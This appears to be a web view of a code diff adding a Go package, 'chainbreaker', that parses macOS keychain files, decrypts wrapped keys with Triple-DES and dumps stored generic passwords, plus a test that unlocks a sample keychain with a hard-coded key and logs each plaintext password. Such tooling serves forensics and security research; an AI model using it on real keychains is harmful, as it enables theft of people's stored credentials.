||||||
|
if base > len(kc.buf) {
|
||||||
|
return 0, errors.New("base address exceeds buffer")
|
||||||
|
}
|
||||||
|
return base, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func keyblobDecryption(encryptedblob, iv, dbkey []byte) ([]byte, error) {
|
||||||
|
plain, err := kcdecrypt(dbkey, magicCMSIV, encryptedblob)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if len(plain) == 0 {
|
||||||
|
return nil, errors.New("empty plain blob")
|
||||||
|
}
|
||||||
|
if len(plain) < 32 {
|
||||||
|
return nil, errors.New("wrapped blob too short")
|
||||||
|
}
|
||||||
|
rev := make([]byte, 32)
|
||||||
|
for i := 0; i < 32; i++ {
|
||||||
|
rev[i] = plain[31-i]
|
||||||
|
}
|
||||||
|
finalPlain, err := kcdecrypt(dbkey, iv, rev)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if len(finalPlain) < 4 {
|
||||||
|
return nil, errors.New("final plain too short")
|
||||||
|
}
|
||||||
|
key := finalPlain[4:]
|
||||||
|
if len(key) != keyLength {
|
||||||
|
return nil, errors.New("invalid unwrapped key length")
|
||||||
|
}
|
||||||
|
return append([]byte{}, key...), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func kcdecrypt(key, iv, data []byte) ([]byte, error) {
|
||||||
|
if len(data) == 0 {
|
||||||
|
return nil, errors.New("ciphertext is empty")
|
||||||
|
}
|
||||||
|
if len(data)%blockSize != 0 {
|
||||||
|
return nil, errors.New("ciphertext not aligned to block size")
|
||||||
|
}
|
||||||
|
block, err := des.NewTripleDESCipher(key)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if len(iv) != blockSize {
|
||||||
|
return nil, errors.New("invalid IV length")
|
||||||
|
}
|
||||||
|
plain := make([]byte, len(data))
|
||||||
|
cipher.NewCBCDecrypter(block, iv).CryptBlocks(plain, data)
|
||||||
|
|
||||||
|
pad := int(plain[len(plain)-1])
|
||||||
|
if pad == 0 || pad > blockSize {
|
||||||
|
return nil, errors.New("invalid padding value")
|
||||||
|
}
|
||||||
|
for _, b := range plain[len(plain)-pad:] {
|
||||||
|
if int(b) != pad {
|
||||||
|
return nil, errors.New("padding verification failed")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return plain[:len(plain)-pad], nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (kc *Keychain) DumpGenericPasswords() ([]genericPassword, error) {
|
||||||
|
_, records, err := kc.getTableFromType(cssmGenericPassword)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
results := make([]genericPassword, 0, len(records))
|
||||||
|
for _, offset := range records {
|
||||||
|
rec, err := kc.parseGenericPasswordRecord(offset)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
results = append(results, rec)
|
||||||
|
}
|
||||||
|
return results, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (kc *Keychain) parseGenericPasswordRecord(recordOffset uint32) (genericPassword, error) {
|
||||||
|
base, err := kc.getBaseAddress(cssmGenericPassword, recordOffset)
|
||||||
|
if err != nil {
|
||||||
|
return genericPassword{}, err
|
||||||
|
}
|
||||||
|
if base+genericPasswordHeaderSize > len(kc.buf) {
|
||||||
|
return genericPassword{}, errors.New("generic password header exceeds file size")
|
||||||
|
}
|
||||||
|
header, err := parseGenericPasswordHeader(kc.buf[base : base+genericPasswordHeaderSize])
|
||||||
|
if err != nil {
|
||||||
|
return genericPassword{}, err
|
||||||
|
}
|
||||||
|
recordEnd := base + int(header.RecordSize)
|
||||||
|
if recordEnd > len(kc.buf) {
|
||||||
|
return genericPassword{}, errors.New("generic password record exceeds file size")
|
||||||
|
}
|
||||||
|
buffer := kc.buf[base+genericPasswordHeaderSize : recordEnd]
|
||||||
|
|
||||||
|
ssgp, dbkey := kc.extractSSGP(header, buffer)
|
||||||
|
password, base64Encoded := decryptSSGP(ssgp, dbkey)
|
||||||
|
|
||||||
|
rec := genericPassword{
|
||||||
|
Description: kc.readLV(base, header.Description),
|
||||||
|
Creator: kc.readFourChar(base, header.Creator),
|
||||||
|
Type: kc.readFourChar(base, header.Type),
|
||||||
|
PrintName: kc.readLV(base, header.PrintName),
|
||||||
|
Alias: kc.readLV(base, header.Alias),
|
||||||
|
Account: kc.readLV(base, header.Account),
|
||||||
|
Service: kc.readLV(base, header.Service),
|
||||||
|
Created: kc.readKeychainTime(base, header.CreationDate),
|
||||||
|
LastModified: kc.readKeychainTime(base, header.ModDate),
|
||||||
|
Password: password,
|
||||||
|
PasswordBase64: base64Encoded,
|
||||||
|
}
|
||||||
|
return rec, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseGenericPasswordHeader(buf []byte) (genericPasswordHeader, error) {
|
||||||
|
if len(buf) < genericPasswordHeaderSize {
|
||||||
|
return genericPasswordHeader{}, errors.New("generic password header too small")
|
||||||
|
}
|
||||||
|
vals := make([]uint32, 22)
|
||||||
|
for i := 0; i < 22; i++ {
|
||||||
|
start := i * 4
|
||||||
|
vals[i] = binary.BigEndian.Uint32(buf[start : start+4])
|
||||||
|
}
|
||||||
|
hdr := genericPasswordHeader{
|
||||||
|
RecordSize: vals[0],
|
||||||
|
SSGPArea: vals[4],
|
||||||
|
CreationDate: vals[6],
|
||||||
|
ModDate: vals[7],
|
||||||
|
Description: vals[8],
|
||||||
|
Comment: vals[9],
|
||||||
|
Creator: vals[10],
|
||||||
|
Type: vals[11],
|
||||||
|
PrintName: vals[13],
|
||||||
|
Alias: vals[14],
|
||||||
|
Account: vals[19],
|
||||||
|
Service: vals[20],
|
||||||
|
}
|
||||||
|
return hdr, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (kc *Keychain) extractSSGP(header genericPasswordHeader, buffer []byte) (*ssgpBlock, []byte) {
|
||||||
|
if header.SSGPArea == 0 || int(header.SSGPArea) > len(buffer) {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
block, err := parseSSGP(buffer[:header.SSGPArea])
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
keyIndex := make([]byte, 0, len(block.Magic)+len(block.Label))
|
||||||
|
keyIndex = append(keyIndex, block.Magic...)
|
||||||
|
keyIndex = append(keyIndex, block.Label...)
|
||||||
|
dbkey, ok := kc.keyList[string(keyIndex)]
|
||||||
|
if !ok {
|
||||||
|
return block, nil
|
||||||
|
}
|
||||||
|
return block, dbkey
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseSSGP(buf []byte) (*ssgpBlock, error) {
|
||||||
|
if len(buf) < 28 {
|
||||||
|
return nil, errors.New("ssgp buffer too small")
|
||||||
|
}
|
||||||
|
block := &ssgpBlock{
|
||||||
|
Magic: append([]byte{}, buf[0:4]...),
|
||||||
|
Label: append([]byte{}, buf[4:20]...),
|
||||||
|
IV: append([]byte{}, buf[20:28]...),
|
||||||
|
EncryptedPassword: append([]byte{}, buf[28:]...),
|
||||||
|
}
|
||||||
|
return block, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func decryptSSGP(block *ssgpBlock, dbkey []byte) (string, bool) {
|
||||||
|
if block == nil || len(dbkey) == 0 {
|
||||||
|
return keychainLockedSignature, false
|
||||||
|
}
|
||||||
|
plain, err := kcdecrypt(dbkey, block.IV, block.EncryptedPassword)
|
||||||
|
if err != nil || len(plain) == 0 {
|
||||||
|
return keychainLockedSignature, false
|
||||||
|
}
|
||||||
|
if utf8.Valid(plain) {
|
||||||
|
return string(plain), false
|
||||||
|
}
|
||||||
|
return base64.StdEncoding.EncodeToString(plain), true
|
||||||
|
}
|
||||||
|
|
||||||
|
func (kc *Keychain) readKeychainTime(base int, ptr uint32) string {
|
||||||
|
if ptr == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
offset := base + maskedPointer(ptr)
|
||||||
|
if offset < 0 || offset+16 > len(kc.buf) {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
raw := bytes.TrimRight(kc.buf[offset:offset+16], "\x00")
|
||||||
|
if len(raw) == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
parsed, err := time.Parse("20060102150405Z", string(raw))
|
||||||
|
if err != nil {
|
||||||
|
return string(raw)
|
||||||
|
}
|
||||||
|
return parsed.Format(time.RFC3339)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (kc *Keychain) readFourChar(base int, ptr uint32) string {
|
||||||
|
if ptr == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
offset := base + maskedPointer(ptr)
|
||||||
|
if offset < 0 || offset+4 > len(kc.buf) {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return strings.TrimRight(string(kc.buf[offset:offset+4]), "\x00")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (kc *Keychain) readLV(base int, ptr uint32) string {
|
||||||
|
if ptr == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
offset := base + maskedPointer(ptr)
|
||||||
|
if offset < 0 || offset+4 > len(kc.buf) {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
length := int(binary.BigEndian.Uint32(kc.buf[offset : offset+4]))
|
||||||
|
padded := alignToWord(length)
|
||||||
|
start := offset + 4
|
||||||
|
end := start + padded
|
||||||
|
if end > len(kc.buf) {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
data := kc.buf[start : start+length]
|
||||||
|
data = bytes.TrimRight(data, "\x00")
|
||||||
|
return string(data)
|
||||||
|
}
|
||||||
|
|
||||||
|
func maskedPointer(value uint32) int {
|
||||||
|
return int(value & 0xFFFFFFFE)
|
||||||
|
}
|
||||||
|
|
||||||
|
func alignToWord(value int) int {
|
||||||
|
if value%4 == 0 {
|
||||||
|
return value
|
||||||
|
}
|
||||||
|
return ((value / 4) + 1) * 4
|
||||||
|
}
|
||||||
|
|
||||||
|
func readASCII(buf []byte, start, length int) string {
|
||||||
|
if start < 0 || start+length > len(buf) {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return string(buf[start : start+length])
|
||||||
|
}
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
package chainbreaker
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestUnlockKeychain(t *testing.T) {
|
||||||
|
keychain, err := New("./testdata/test.keychain-db", "6d43376c0d257bbaca2c41eded65b3b34a1a96bd19979bde")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Failed to unlock keychain: %v", err)
|
||||||
|
}
|
||||||
|
records, err := keychain.DumpGenericPasswords()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, rec := range records {
|
||||||
|
t.Log("[+] Generic Password Record")
|
||||||
|
t.Logf(" [-] Service: %s\n", rec.Service)
|
||||||
|
t.Logf(" [-] Account: %s\n", rec.Account)
|
||||||
|
t.Logf(" [-] Description: %s\n", rec.Description)
|
||||||
|
t.Logf(" [-] Created: %s\n", rec.Created)
|
||||||
|
t.Logf(" [-] Last Modified: %s\n", rec.LastModified)
|
||||||
|
if rec.PasswordBase64 {
|
||||||
|
t.Logf(" [-] Base64 Password: %s\n", rec.Password)
|
||||||
|
} else {
|
||||||
|
t.Logf(" [-] Password: %s\n", rec.Password)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
BIN
Binary file not shown.
Reference in New Issue
Block a user